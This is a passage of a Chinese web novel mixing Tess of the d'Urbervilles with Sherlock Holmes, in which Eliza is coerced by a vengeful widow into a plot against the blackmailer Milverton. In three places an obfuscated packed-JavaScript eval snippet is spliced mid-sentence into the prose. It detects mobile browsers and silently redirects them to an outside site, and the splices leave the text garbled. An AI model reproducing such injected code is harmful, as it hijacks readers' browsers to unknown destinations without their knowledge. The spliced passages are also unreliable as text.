大门正面对着一个圆形的花坛，花坛上立着一个石塑喷泉，四周高大的乔木掩映着花坛分离的道路，一个车夫打扮的人牵着马，往花坛的左侧走去，伊莱莎顺着他的方向看过去，看到了一排屋子，那里就是马厩了。 她看了眼远处绵延草地直至天际，还打算再观察一番，身后却传来一阵声响。 火车上的经历太过深刻，伊莱莎感觉自己全身的毛发都竖起来了，她转过身去，是一个女仆打扮的女孩走了进来，看起来年龄比苔丝大一些。 她把手里的托盘到圆桌上，对伊莱莎友善地一笑：“原来你已经醒了，别忘了穿上晨袍，小心着凉。” 床边的扶手椅上搭着一件塔夫绸的袍子，像密林一样的雾绿色，女仆把晨袍提起来，展开，显然是要帮伊莱莎穿上。 她慢吞吞地走过去，不太习惯地在女仆帮忙下穿上了这件毫无难度的衣服。 “你要吃点什么东西吗？”女仆问伊莱莎。 伊莱莎痛苦地憋出一个词，“名字。”她指了指女仆，示意她在问的是对方的名字。 “莉莉，”她眨了眨眼，“这是我的名字。” 大概是伊莱莎的声音太过沙哑，她体贴地没有问，而是倒了一杯牛奶，端给了伊莱莎。 比起牛奶她更想要水，但这是别人的地盘，挑来挑去实在讨嫌，伊莱莎将加了蜂蜜的牛奶一饮而尽，慢慢说：“伊莱莎。” 她指了指自己。 莉莉会意，道：“夫人现在正在会客，不方便见你，你可以在这里先等一下，不用等太久。你要吃点什么吗？伊莱莎。” 夫人，会客？ 伊莱莎把这两个词咀嚼了一会儿，没能得出什么信息，还是先吃饭吧。 “米布丁。”她得吃点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273152|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好消化的东西。 她干掉一碗烤米布丁的速度跟莉莉给她端过来的速度一样让彼此震惊，大概莉莉还没有见过这样不淑女的进食时间吧。 莉莉凝视了她一会儿，突然说：“跟我来吧，夫人的会客很快就要结束了。” 她们穿过回环复杂的走廊，壁纸上繁复的花纹让伊莱莎以为自己闯进了奇幻的迷宫，每条走廊上挂着的肖像都不一样，她只能在楼层和方向上有个大致印象，其他的具体细节基本记不清。 下了两层楼，莉莉把她引到一楼的一个中型房间，看上去像是主人喝下午茶的起居室。这里联通着一个大会客厅，在侧门处只是挂了一道厚重的猩红色门帘。 伊莱莎坐在扶手椅上，竖起耳朵听那边传过来的对话声。 “先生，你想要很多人的秘密，我只要一个人的命，这个交易还不算公平吗？”一道苍老而威严的声音响起。 这道声音在伊莱莎的脑海里引发了无限遐想，声音的主人听起来年纪并不算太老，最多比琼恩大一些，却透着无端的沧桑感，说话人语气带着体面人的平静，平静之下却翻涌着什么东西。 跟她对话的是一个男人，发音很标准，在他的衬托下，妇人同样标准的发音里中被美式口音污染过的微小差异就变得很突出了。他说：“夫人，我不得不提醒你，虽然我并没有警察的身份，但干的确实是苏格兰场的那些事。” “原来是这样，”夫人语气里的嘲讽要溢出来了，“你们警察干的就是让杀人犯逍遥法外的事吗？” “韦林特上校已经死了。让我不客气地评价一句，死得其所。这还不够吗？夫人。” “不够——不够！”夫人抬高了声调，勉励维持着上流社会说话的体面，“我要所有，我要一切——一切应该下地狱的，应该为安吉丽娜赎罪的，我都要把他们送过去！” “埃文河的河水也不能浇灭您复仇的火焰，是吗？”男人叹了口气，“昨天我结识了您的租户斯派瑟夫妇，今天我再次去拜访了他们，他们给我指点了一些有趣的花。” “您的花朵枯萎了，那么其他的花朵被烧掉也在所不惜，对您来说，那只是无关紧要的东西。”他也开始逼问了，“如果格拉迪斯的尸体顺着河水飘过来，您会瞒住警察吗？” 女人沉默了片刻，再次开口时，她的声音绷紧了：“不会。” “没有人能胁迫得了我。” 男人顺着她说：“那么我的回答也是如此，‘没有人能胁迫我’。如果您不愿意给我一些指点，我自己也可以去探寻答案。” 他顿了一下，道：“那么，告辞了，夫人。” 夫人最后问他：“那样的一个人，难道不应该送他下地狱吗？” 伊莱莎只能勉强听到他的回答：“这句话我对沃伦说过，现在我也想告诉您，夫人，‘夏普小姐的生命奇迹难道不能让你幡然醒悟吗？’” 哗啦—— 伊莱莎听到瓷器摔碎的声音，她立刻老实地端正了坐姿，把手放在膝盖上，顺便检查了一下小腿上的拆信刀。 门帘被人拉开，一个穿着黑色丧服的贵妇人慢慢走进来，她的身后跟着一个女管家打扮的中年妇女，二者面容严肃，连嘴角抿起的幅度都很接近。 夫人走到窗前，看向前庭，伊莱莎猜她是在看刚才离开的客人。她逆着光，突然开口：“一万英镑——我要你去伦敦，帮我杀一个人。” 她慢慢转身，光线描摹出她的轮廓，却隐没了她的面容，只有一双母狮一样的眼睛，即使上了年岁依旧精光慑人。 “你听说过米尔沃顿吗，伊莱莎·德伯维尔小姐？” 在她美杜莎一样的目光里，伊莱莎大脑仿佛被石化了。 25.chapter25 虚伪与真实 伊莱莎曾经在跟帕夫太太打鸡蛋时分享过她的发现。 有些鸡是单线程生物，它们的脑子一次只能处理一件事，假如你同时喂它们谷物，又喂它们水，它们就会卡住，不知道怎么反应。 现在呆若木鸡的她也陷入了这样两难的境地，与此同时伊莱莎还惊恐地发现自己的头脑格外舒适清醒——这意味着她需要处理的事又多了一件。 她是应该先感叹“哇！一万英镑”，还是询问“米尔沃顿是谁，听上去有点耳熟”，或者是装傻问“德伯维尔小姐是谁”呢？ 伊莱莎·德伯菲尔德应该好好地待在川特里奇，而不是离奇出现在威茅斯开往多切斯特的火车上。 此外，之前一直灼烧灵魂的火焰不知什么时候已经熄灭了，因为身上到处都有磕碰红肿的伤口，身体的疼痛分散了她的注意力，再加上她已经对对这种刑罚产生了适应，伊莱莎竟然没有发现灵魂上的安宁。 不过，夫人是不是搞错了一件事，英格兰最后的德伯维尔已经死了——不管是真的还是假的。 伊莱莎的声音依旧沙哑，她艰难地吐出几个词，“我，我不明白。” 不管是一万英镑、杀人还是德伯维尔，她都不明白。 “那我们先从一颗珍珠谈起。” 她一扬下巴，旁边严肃的女管家就立刻会意上前，从上衣口袋里拿出一个绒面盒子，盒子的软垫上放着几颗珍珠坠子。 珍珠只是一般的大小，在尺寸和光泽度上都不突出，它们被磨成了统一的圆润形状，镶嵌着吊坠托，像是珠宝商的推销目录里一笔带过的普通珍珠。 放在有烫金花纹的丝绒盒子里，让人不免想起东方那个买椟还珠的故事，女管家从盒子里挑出一个珍珠，放到伊莱莎的手里。 这颗珍珠实在没什么特别之处，除了顶部的银扣头，不是简单的夹扣，而是特意做成了叶子的样式，包裹在珍珠上。 伊莱莎把这粒珍珠看半天，试图发现它到底跟自己有什么关系，珍珠……海水？装饰？这是从什么项链上拆下来的吗？ 但是珍珠项链都是直接在珠子上打孔编起来的，怎么会嵌上坠子？ 她肿痛的左手搭在膝盖上，挨着睡衣上的蕾丝和丝带，柔软的触觉给了她一个温暖的提醒——苔丝，苔丝的衣柜，裙子！ 这是她从苔丝衣柜里面翻出来换上的那条裙子上的装饰！ 当时时间紧迫，她并没有细看这条裙子，只是在一堆要么颜色过于鲜艳惹眼要么款式复杂不便行动的裙子里挑出了它。 装饰简洁的鹅黄色裙子，没有拖尾没有堆褶也没有像窗帘一样的流苏挂坠，身后用薄纱分层堆成蛋糕裙的样式，再点缀着蕾丝花边，这些珍珠就挂在花边上，被几层轻纱遮挡着，若隐若现。 穿上走动之后她才发现这些小玩意儿，伊莱莎既没时间把它们扯下来，又没有精力再去换一件新衣服，她想着这些珍珠被纱遮挡着，也不算惹眼，就没去管了。 “这条裙子用的珍珠可以编一串三层的珍珠项链了，”夫人微微一笑，“没有哪个淑女会在裙子里面穿一件教堂发的粗布衬衫。” 伊莱莎对上她冷凌的目光，夫人继续说：“你的手，并不粗糙，但指节突出，是干活儿的手。” 攥紧了拳头，珍珠坠子在她的掌心硌得生疼，伊莱莎做糕点总是接触黄油，这双手甚至算得上光滑，尽管如此，跟精心保养的富裕女性的手一看就有差别。 难道她就不能是一个喜欢混搭骨节生下来就粗大的富家千金吗？ 这点东西还不足以让她跳出来辩解，伊莱莎冷冷地回了一个字：“噢。” 夫人看了一眼女管家，这个神奇的女人从她那个可以装一切东西的口袋里拿出一份电报，再贴心地为伊莱莎把信封打开，方便她取出里面的东西。 “裙子的衣领下绣了博尼法西的标记，这个法国女人在伦敦的圣马丁堂区经营一家服装店，为阔绰的富商服务。我拍了一封电报问她，是谁向她定制了这条裙子，我要做一条类似款式的。这就是她的回电。” 回电写道：“……多塞特的川特里奇的苔瑞莎·德伯维尔太太定做了这条裙子，当做送给她妹妹的生日礼物，如果洛维拉夫人您需要定制服装，我会亲自上门来为您服务，不管什么时间，只要您拍一封电报……” 伊莱莎并不认识洛维拉这个姓，但从这个女裁缝不仅大献殷勤亲自□□，还把顾客的隐私抖搂干净的程度来看，夫人的权势应该不小。 “苍鹭居的谋杀案已经传遍多塞特的大街小巷了，听说克莱尔太太跟死者德伯维尔是同宗，既然你是她的妹妹，那么叫你一声德伯维尔小姐，应该是恰如其分。” 伊莱莎相信维多利亚时代小报编辑们在无视新闻道德上跟挖掘隐私的能力一样突出，如果她想知道现在案件调查到哪一步了，她可以从无数份小报里找到答案。 可惜洛维拉夫人是不会给她这个机会的，伊莱莎对此心知肚明，这个女人摆明了是要借信息差来恐吓她。 略过关于德伯维尔、苔丝和谋杀案之类的争论——谁知道那个声称自己是跟苏格兰场干一样的事的男人到底走没走，要是他就在旁边的房间等着伊莱莎说漏嘴呢？ 她直截了当地开口：“我，不能谋杀。” 不能杀人吗？ 不是的，如果有人攻击她，她当然会防卫回击，但是谋杀…… 处心积虑地、殚精竭虑地、毫不犹疑地置一个人于死地，她做不到。 “为什么？”米兰达·洛维拉看着这个女孩的眼睛。 真奇怪，奥菲利亚的面孔上，明明生了一双喀尔刻的眼睛，却宣称自己不会谋杀。 “太邪恶了。”伊莱莎皱眉苦苦思索，祈求自己能凭借记忆剽窃出一篇讲道坛上的宣讲，“我、恐惧……” 洛维拉夫人替她补全：“杀人？” 不，她摇了摇头，“不是害怕、杀人，我害怕，自己失去……咳，咳咳！有水吗？” 伊莱莎注意到夫人竟然能忍住没有翻白眼，她对她多了一点敬佩。 女管家拉响铃绳，茶水端过来的速度让伊莱莎怀疑这些仆人就在墙壁里随时待命。 夫人的红茶比她在井桥喝的那种散茶口感醇香得多，她慢慢地啜饮，把没能说完的话补上：“我害怕自己失去对生命的敬畏，夫人。” 洛维拉夫人本想迈步走近她，却突然转身，看向窗外，冷笑一声：“虚伪。” 伊莱莎默然不语，纵火是重罪，但跟谋杀终归是两回事——不过洛维拉夫人说她虚伪，其实也没错。 “你认为德伯维尔该死吗？”夫人问她。 这个问题她已经在脑海里思索过很多次，始终没有得到答案。 伊莱莎审慎地说：“我不知道，或许按照法律来看，他还不到死的程度，但是……” 喉咙发痒，她赶忙又喝了一口水，“为了最朴素的公平，为了我姐姐遭受的那些东西，我想这是他应得的结局。” 言多必失，她不想再跟夫人聊这桩谋杀案了。 伊莱莎转移了话题：“夫人，米尔沃顿是谁，为什么要杀他，为什么让我去？” 还有一个问题，安吉丽娜是谁？ 这个疑惑，伊莱莎很有眼色地把它埋在舌头下。 “倘若撒旦也有一本白色宝座前的生命册，那么查尔斯·奥古斯塔斯·米尔沃顿可以占到首位。”洛维拉夫人的声音像石头一样硬，“在敲诈勒索这一行当里，他是首屈一指的专家。” 噢，看来安吉丽娜被他敲诈了。 一个叫韦林特的男人已经死了，“死得其所”；另一个米尔沃顿需要给安吉丽娜赎罪，为什么，因为他污蔑了她？ “安吉丽娜是我的女儿，”洛维拉夫人深吸了一口气，她想要维持笔直的姿态，却忍不住摇晃了一下，“这没什么可耻的，我们在宾夕法尼亚州经营钢铁冶炼，安吉丽娜有一个恋人——一个普通的工程师，我们，我和她的父亲不同意，她跟那个男人私奔了。” “我们把她抓回来，关进疗养院里。 “后来她嫁给了威廉·韦林特，我们给她准备了丰厚的嫁妆——米尔沃顿搞到了她私奔的证据和疗养院的记录，向她索要一万英镑，不然就会把这些寄给她的丈夫。 “安吉丽娜的嫁妆付这笔钱绰绰有余，如果实在困难，她也可以向我们求助。” “但是她没有，”伊莱莎问，“为什么？” 洛维拉夫人没有回答，她扶住窗框，看日光从云层的边缘溢出来。 马车夫在马厩套好了车，赶到喷泉处，等着客人上车。喷泉旁的男人看着涌出的泉水，轻声道：“一切都从水里产生……是你保持那最清新的生机。” “《浮士德》里面哲人泰勒斯作了一首颂歌，我记得格拉迪斯坦白她从韦林特上校的书房里偷过几册书，里面就有歌德的诗集，那是韦林特——安吉丽娜·洛维拉小姐的书吧。” 埋着头看着拉车的马的车夫抬头看他，福尔摩斯笑了笑，“夫人买下庄园，从歌德的自传①里摘了一个词给庄园改名，既然选了‘真实’作庄园的名字，那么夫人应该面对事实，即使格拉迪斯是一个勒索者，她也罪不至死。” 车夫突然说：“安吉丽娜小姐也不该死，她是一个好人。” 福尔摩斯停顿片刻，道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301177|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“韦林特上校已经死了，至于查尔斯·米尔沃顿，我会密切关注他的，希望夫人心想事成。并且，保重身体。” 他转过身，向落地窗前的人影脱帽致敬。 伊莱莎眉心一跳，她看着夫人突然转身，坐到她面前的扶手椅上，像是面试考官一样看着她：“因为她觉得自己没有错——你觉得呢？” 婚前有过交往这种东西放在后世来看是再正常不过的一件事了，但是在这个时代，它可以让一个女人身败名裂，甚至要去她的性命。 “我认识的一个姑娘，也遭遇了这样的事。”伊莱莎没有正面回答夫人的问题，“她年少无知，妈妈也没有教过她要怎么做，她被主家的一个淫/棍诱哄，生下了一个私生子。 “这件事自然让她很痛苦，痛苦在于要忍受别人的指点和道德上的折磨，但是既然没有治安法官给她判罪，也没有警察来传唤她，那么她为什么要自己对自己的心灵采取这么严厉的措施？ “她一个人干农活，慢慢发觉了一个道理，假如她一个人住在荒无人烟的沙漠里，那么一切戒律规则对她来说就像沙漠里的暴雨一样。 苔丝向她倾诉时，在最后还补充了一句，“如果可以的话，我还是希望有你和我一起住在沙漠里，在我们的头顶上，除了天空之外什么也没有。” 伊莱莎道：“这件事归根结底，只是安吉丽娜小姐一个人的事。” 洛维拉夫人没有评价她的回答，她如同法官陈述案情一样毫无生气地开口：“米尔沃顿按期把证据寄给了她的丈夫，韦林特怒不可遏，他回到家，跟安吉丽娜发生了争执，把她从楼梯上推了下去。” “好了，我明白了。”伊莱莎阻止夫人自虐般的行为。 “安吉丽娜怀着孕，她流产了，大出血，死了。”洛维拉夫人木然地说，“这就是韦林特上校的遗书里写的东西，我买通他的秘书沃伦，让他把韦林特毒死了。” 死亡的阴影盘桓在房间的上空，只有壁炉里燃烧的木柴时不时发出哔啵的声音，洛维拉夫人突然让她看壁炉，道：“你的裙子，已经烧掉了。” 别啊！ 这是她的罪证，但这也是苔丝本来打算送她的生日礼物，就算花的是德伯维尔的钱，她为什么要跟苔丝的心意过不去！ 洛维拉夫人观赏一番她的惋惜表情，恢复了几分生气。 伊莱莎小心翼翼地问：“韦林特死了，那么，米尔沃顿呢？” 既然夫人能买通韦林特的秘书，难道不能买通米尔沃顿的仆人吗？ 那可是一万英镑——她的全部身家也才十镑！ “俄狄浦斯诅咒杀害拉伊俄斯的凶手时，知道是在诅咒自己吗？”洛维拉夫人突然问了她一个不相干的话题。 伊莱莎对此适应良好，帕夫太太喜欢聊牧师讲道的故事，拉德克里夫先生喜欢引用狄更斯的角色，常蒂小姐从丁尼生的诗到伊拉斯谟的新约圣经无所不谈，不知道洛维拉夫人偏爱什么，古希腊戏剧？ “不知道。”伊莱莎老实地回答，俄狄浦斯不知道，她也不知道。 夫人哽了一下。 “在伦敦买米尔沃顿的性命，无异于把自己的命送出去——他们都是撒旦的手下。” 噢—— 她顿悟了，向犯罪集团买凶杀掉犯罪集团的头目，这不就是自投罗网嘛。 但那可是在伦敦…… 伦敦的地下犯罪团伙居然能这么嚣张？ 这就是日不落帝国的王都气象吗？ “米尔沃顿很精明，他对危险的探知很敏锐，就像他知道什么人可以勒索什么人需要保密一样。我派人暗杀过他两次，都失败了。” 伊莱莎坐立难安，一万英镑果然是一个沉重的数字。 “他的别墅每个季度都会换一批仆人，为了防止他们被买通。除去他忠心耿耿的管家、秘书、心腹厨娘，其他人都不能得到他的信任，这是你的机会。” 假如夫人还是一开始气焰嚣张的模样，那伊莱莎拒绝起来毫不犹豫。 夫人向警察告发她，她乔装过后坐的早班车，拿不出正常对应的车程票证据，但是这也定不了死罪，最多去牢里关上几年。 今年女王登基五十周年，她说不定还能赶上减刑。 但是夫人烧掉了她的裙子，又跟她讲述了自己的惨痛过往，救命之恩跟丧女之仇一起压下来，伊莱莎又开始犯傻了。 “我需要先回家，夫人，我妈妈在等我。”伊莱莎严肃地说，“关于米尔沃顿的事，我会去伦敦核实的。” “除了让他去死，你能接受其他的惩罚吗？” “比如精神失常，或者，失明？” 26.chapter26 远离尘嚣 波塔利斯是一种白天沉默，夜晚歌唱的鸟①。 蝙蝠在夜间路过，问它为什么跟其他鸟不一样。 它说，从前它也跟其他的鸟一样，在白天唱歌，可它被人抓住了。 它便学聪明了，改成夜晚唱歌。 ——傻鸟。 为了避免自己被举证谋杀，她要去干一件真的跟谋杀性质相同的事。 这跟波塔利斯有什么区别？ 伊莱莎深沉地说：“我就是一只傻鸟。” “是什么让你发出了哲人的感叹？”玛丽·科莱小姐的声音伴随着春风送过来，“省察别人总会得罪人，但省察自己就没有服用毒参的风险了②。” “我没有您想的那么高尚，虽然我在骂自己是一只‘傻鸟’，实际上我在诅咒那个抓住傻鸟的人——我被她玩弄了。” 夫人给她玩了个文字游戏，她烧掉了“衣服”，指的是从她那身凌乱的装扮里随便提出一件纺织品烧掉。 她有明确说是裙子吗，没有，是伊莱莎自己一厢情愿地认为。 夫人也是这样，单方面觉得自己可以支配伊莱莎的意志。 而伊莱莎不得不憋屈地承认，她成功了。 玛丽·科莱笑了笑：“可怜的小鸟，你掉进了谁的罗网里？” 伊莱莎在心里回答：一个有钱、有权、有决心，不达目的誓不罢休的疯女人——纠正一下，她没疯，她清醒得很。 洛维拉夫人丝毫不惧毁灭，她就是毁灭本身。 “美杜莎的蛇发编织的毒网里。”伊莱莎把打开的木匣子关上，包裹匣子的牛皮纸被她一起丢进了壁炉。 “我能帮你做什么吗？”好心的科莱小姐意识到她真的有了麻烦。 伊莱莎心不在焉地说：“确实有一件事，玛丽，麻烦你把厨房里那个装饰好的蛋糕打包一下，我要寄给常蒂小姐，我还得写几封信。” “那不是你的生日蛋糕吗？”玛丽·柯莱问她，“今天你不是收到了一个写着生日快乐的包裹？” 伊莱莎-露易莎·德伯菲尔德的生日在十一月，她跟苔丝的生日都在五月。她下意识跟苔丝感叹好巧的时候，还没有发觉自己说了一句多么蠢的话。 伊莱莎淡定地胡说八道：“蛋糕是我给常蒂小姐的结婚贺礼。我妈妈不让我过真实的生日，她说我应该在跟这一天距离最远的时间过生日，来蒙蔽别人，你知道的，这是她那本《算命大全》的指点。” 她感觉自己霉云罩顶，真的需要去翻一下琼恩的《算命大全》了。 那封随着包裹一起寄来的信被她扣在桌面上，杜绝了一切窥探的目光。 伊莱莎摊开一张崭新的信纸，谨慎地组织自己的措辞：“夫人，您的好意我接受了。既然您对我如此宽容，那我再提出一个得寸进尺的要求，向您预支属于我的财富的千分之一，赠送给真正给予我援手的那对夫妇，即使他们在某天会跟我站在天平的两侧，我依旧不会忘记他们的善心。 “再及，您对我姐姐所施与的援手，我不得不请求您向一个正确的反方向用力。 “祝愿我们彼此都不要变成可耻的告密者，愿上帝保佑您。” 翻译成人话，一，给救了她的那对夫妇一百英镑的酬谢；二，通过当局向警方施压，让苔丝被逮捕；三，你要是敢告发我，我就给米尔沃顿写信报复回去。 她把信叠好，塞进信封，把垫在下面的吸墨纸揉成一团，扔到壁炉里。 伊莱莎凝视着那个今早寄来的木匣子，里面装着黄裙子的一角、一张三百英镑的支票，还有写着伦敦的一个地址的纸条。 在信里，夫人除去向她送上迟来的生日祝福，还告诉伊莱莎，她已经跟治安法官——也就是她的老相识打过招呼，苔丝不会被逮捕了。 在伊莱莎还没倒霉地卷进夫人复仇的计划之前，这是一个好消息，但现在就不那么美妙了。 控告苔丝谋杀的证据不足，假如她被传讯，只要她的辩护律师不是个蠢货，那么陪审团有很大可能宣判她无罪。 根据本国一罪不二审的原则，她从此可以说安全了。 然而洛维拉夫人不仅掌握了证据，还阻止了苔丝的审判，这不是出自好心，而是在警告伊莱莎，达摩克利斯之剑时时刻刻悬在她头上。 伊莱莎甚至没办法扯她买凶杀害沃伦的事，这违背了品格证据规则，而且洛维拉夫人她会害怕吗？ 她白得像石蜡一样的脸色并不仅仅只是一个形容词而已，这个女人病得很重，不管是生理上还是精神上。 只要能用复仇的火焰烧死她的仇人，她才不会在乎这里面会牵连多少无关的人。 要不是身体条件不允许，洛维拉夫人甚至可以自己去跟米尔沃顿肉搏。 在命运的舞台上，不管谁是可悲的俄狄浦斯，至少夫人成功得到了天神肆意操/弄世界的权柄。 信封被滴上白蜡，她举着蜡烛，走到墙上挂着的镜子前，仔细照看一个傻瓜。 在镜子里，伊莱莎摆出了一个苦笑，她没有软弱的资格，自然哭不出来。 上帝啊，怎么会有这么倒霉的人？ 后悔吗？伊莱莎自己也不知道，这个问题比斯芬克斯之谜还要难回答。 她只好安慰自己，坚强一点，你不仅救了苔丝，还救了一个本来会被杀死的女孩，甚至还得到了一个一万英镑的offer。 要知道她这辈子能不能赚到一万英镑都是一个未知数。 往好处想想，说不定米尔沃顿就突然暴毙了呢，或者洛维拉夫人明天就大限将至去见上帝了呢？ 生活还是有希望的，她抬起右手，在镜子上画了一个十字，吹灭了蜡烛。 大白天点蜡烛，她果然是个傻瓜。 玛丽·柯莱在学校里待客的房间正好对着中庭的英国橡树，铺满砾石的小路两旁开着粉色的风雨兰和蓝紫色的花韭，油点草和狐尾天门冬绵延出森然的绿意。 伊莱莎看了一会儿庭院的景色，跟川特里奇的初夏作别，她打开琼恩留给她的行李箱，把木匣装进去锁好，打算出门去邮局寄信。 “你要走了吗？”玛丽·柯莱没有问她要去哪里，“让我们拥抱一下吧。” 伊莱莎放下行李箱，让玛丽·柯莱温柔地抱着她，她对女校长轻声说：“替我向常蒂小姐问好，真是抱歉，不能去剑桥参加她的婚礼。” “常蒂小姐很好，她有些遗憾，因为你唱歌很好听，她本来还想教你弹奏竖琴的。” 伊莱莎沉默了一会儿，泪意慢慢打湿眼睫毛：“我妈妈怎么样？” 琼恩把川特里奇的别墅转租给了一对母女，她们打算在那里经营旅店。 本来琼恩想搬去金斯贝尔的，那里埋着德伯维尔家的祖先，是约翰·德伯菲尔德心心念念想要回去的地方。 但是安妮说，她们为什么要到一个死人的地方去，于是琼恩带着安妮去了奇彭纳姆，她娘家在那里已经不放羊了，而是开了一个乡村客栈，琼恩在那里还是干了厨师的活计。 “德伯菲尔德太太神气十足。”玛丽·柯莱叹气，“你还好吗，伊莱莎？” “我很好，我很清醒，也很正常！”苔丝像被激怒的豹子一样大叫，她激动的情绪让人质疑她话里的真实性，“这样的折磨到底要持续多久？你们抓到那个德国人了吗？” “克莱尔太太，请你平复一下心情，我们是来向您询问关于案件的一些事的。”多塞特警察局的巴德尔警官说道，“你对这几封信有印象吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305263|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他向苔丝出示了信，她接过去，仔细地察看，脸上看不出有什么异样。苔丝摇摇头，道：“没有，我没有见过。” “那你知道死者是否收到过类似的信，或者他表现过什么异常没有？” 苔丝愤怒道：“我不怎么关注他，也不清楚他有没有收到什么信，我只是巴不得他死掉。” 巴德尔警官叹了口气：“克莱尔太太，你说的话会让你置身于一个危险的境地。” 她抿了抿嘴唇，不说话，过了一会儿她开口道：“我从来都没有听说过德伯维尔有什么德国仇人，或许是布鲁克斯太太被烟熏糊涂了，捏造了一个人出来。” 警察对她的言论不置可否，他结束了问话，自行离开了。 跟巴德尔警官一道来的另一个人却突然转身，走到苔丝面前，低声道：“克莱尔太太，我不是官方代表，说起来甚至跟你算得上私交，克莱尔先生的哥哥是我的朋友。我只想向你确认一件事，你知道那个人是谁。” 苔丝瞪着他：“是谁？” “一个你认识，并且想保护的人。” 苔瑞莎·克莱尔不是福尔摩斯遇到的第一个保持沉默的嫌疑人，他对华生说：“华生，很遗憾你不能亲眼去看看那几封信，但你不在现场反而是件好事，比起对信纸笔迹进行分析描述，你更喜欢把笔墨浪费在夸赞克莱尔太太的美貌上面。” “福尔摩斯！”华生抗议道，“你不妨直说你的分析，我的创作有编辑指导。” 福尔摩斯把他重新誊写过的信纸递给华生，道：“之前我说从内容到字迹都一模一样，这话说得不准确……这么说吧，那几封信与其说是写上去的，不如说是画上去的。” “要是你能拿着放大镜对实物仔细研究一番，就能发现一件事，这封信虽然在外表上看起来跟一个会德语的人手写的字体一样，但是笔锋走向完全不同，写字的人并不知道字符之间要怎么勾连，他，或者她，很聪明地用了绘画的方法。” 华生惊异地笑了笑：“怎么，那竟然还能是一个女孩吗？” 在福尔摩斯思索的片刻，房东赫德森太太忽然走进来通报：“福尔摩斯先生，安吉尔·克莱尔先生来访。” 紧跟在她身后的克莱尔走出来，露出一张憔悴的面孔，他看起来像是刚从坟墓里爬出来，带着一副骨架子在世间游荡，而他的鬼魂就跟在骨架子后面。 赫德森太太关上房门，客人看了一眼福尔摩斯，又扭头去看华生，似乎是在辨认谁才是他要找的人。 医生正要开口询问是否需要他回避，克莱尔突然用一种无所谓的语气开口道：“福尔摩斯先生，我从我哥哥那里听说过你，我是来向您坦白的。” “是我杀了亚历克·德伯维尔。” 他的话无异于往平地上扔炸弹，福尔摩斯泰然地走过去，为他拉出椅子：“请坐，先生。您为什么不向警察自首，而是选择来向我声明呢？” 克莱尔对他的疑问避而不答，他从手里拿出一份文件，放到茶桌上：“这是我的有罪供述。我在巴西病得很厉害，身体落下了病根，也许我还能活很久，也许我明天就死了。” 苍鹭居杀人纵火案随着这一年的初夏一同远去，苔瑞莎·克莱尔太太被宣判无罪，她随着丈夫去了北方的湖区，远离了这一切尘嚣，而她的丈夫身体状况良好，尚未出现任何不幸的征兆。 在雅典娜音乐厅打理演出服装的伊莱莎试图在报纸上追寻此案的踪迹，找出到底是谁为苔丝提供了有力的辩护证词。 然而整个伦敦的报纸都在讨论车队的大游行是否能够顺利进行，六月的天气怎么样，公园会准备怎样的庆典活动，以及会有多少国家的王族政要莅临庆典现场，没有人再去关注这一桩旧案。 27.chapter27 在伦敦 “莉兹，你为什么不喜欢艾琳小姐？”贝蒂凑过来问她。 伊莱莎在洗一件戏服的蕾丝领口，这种娇贵的玩意儿需要精细的手法来清理，她调好了清洁剂，用温水把浅色的香皂化开，再放进一小块儿方糖。 用清洗液把细亚麻布浸湿，把要清洗的部分拆下来。垫在湿棉布上，再在温度合适的时候用亚麻布拍打领口的边缘。 拍打时不能太用力，只能轻按来清洁，更不能摩擦拧绞。 清洗干净后，她还得把衣服铺到熨烫板上，用细别针别住每个角，再用浸泡了树胶和无花果蓝水的海绵擦拭，让领口维持合适的硬度。 这是个琐碎的活儿，伊莱莎用夹子夹起加热好的铁块，把它放进熨斗里，再关上封口，头也不抬地说：“等会儿再说。” 把领口清洗完毕后，她又把蕾丝重新缝上去。 伊莱莎的缝纫手法只能说可以把衣服缝好，跟细密和整齐完全不沾边，但是穿这件衣服的女演员又不是要去参加舞会，粗糙一点也无所谓。 贝蒂趁机追问她：“我觉得艾琳小姐是个难得的好人呢。” “她是个美人，”伊莱莎埋头收线，欣慰地发现这次没有一次扎到了手指，“美人总是麻烦的。” 贝蒂突然噗嗤一笑：“你在介绍你自己吗，莉兹？” 她是鞋匠家里的小女儿，才满十三岁，在雅典娜音乐厅当清洁工，她身体瘦小，爬到高处清理帷幕、灯具和黄铜装潢都非常方便，剧院经理付给她的薪水比去做家政女佣更丰厚，活儿也更轻松。 